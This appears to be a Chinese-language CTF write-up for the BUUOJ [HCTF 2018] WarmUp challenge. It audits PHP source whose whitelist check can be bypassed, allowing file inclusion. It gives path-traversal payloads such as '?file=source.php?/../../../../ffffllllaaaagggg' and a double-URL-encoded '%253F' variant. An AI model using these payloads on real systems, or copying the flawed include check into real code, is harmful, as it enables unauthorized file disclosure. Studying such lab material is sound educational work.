BUUOJ[HCTF 2018]WarmUp 1

发布时间 2023-10-03 15:41:25作者: 圆弧状态

原理

代码审计
查看页面原代码
文件包含
liunx的不存在目录构造

解题过程


进入靶场,只有这么一个图,老规矩查看页面原代码

应该是让我们访问source.php文件

那就是让我们代码审计咯

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

首先看主函数入口的if语句
!empty($_REQUEST['file'])&& is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])意思便是file参数不为空且为字符串且类emmm的函数返回为真时才文件包含file值,前两个判断不用看,那接下来就直接看这个函数代码了,看看能不能找出一些漏洞出来

可以发现后面都会匹配这个数组,$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

看到有hint.php,那应该是提示,我们先传递这个参数,果然打印出了存放flag的文件名。根据以往经验,flag一般都在根目录里,那我们接下来先尝试访问这个文件

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

搜一下这两个函数的用法


看完用法就清楚了。返回出现?前面的字符串。

if (in_array($_page, $whitelist)) {
                return true;
            }

根据这个语句可以知道,我们需要构造?前面是source.php或者hint.php的payload,还要能够访问到flag文件

构造payload:?file=source.php?/../../../../ffffllllaaaagggg或者?file=hint.php?/../../../../ffffllllaaaagggg
这里用到一个原理:source.php?即便不存在,也会当作一个存在目录往上跳(仅在linux中适用)
爆出flag

此外我们还可以这样绕过:?file=source.php%253F/../../../../ffffllllaaaagggg或者?file=hint.php%253F/../../../../ffffllllaaaagggg
因为后面有这样的语句

$_page = urldecode($page);
$_page = mb_substr(
    $_page,
    0,
    mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
    return true;
}

对?做url二次编码即%25解码后变成%。和后面的3F拼接,%3F再解码就是? 第一次解码是网站发包到后台过程做的。第二次解码就是代码中的效果。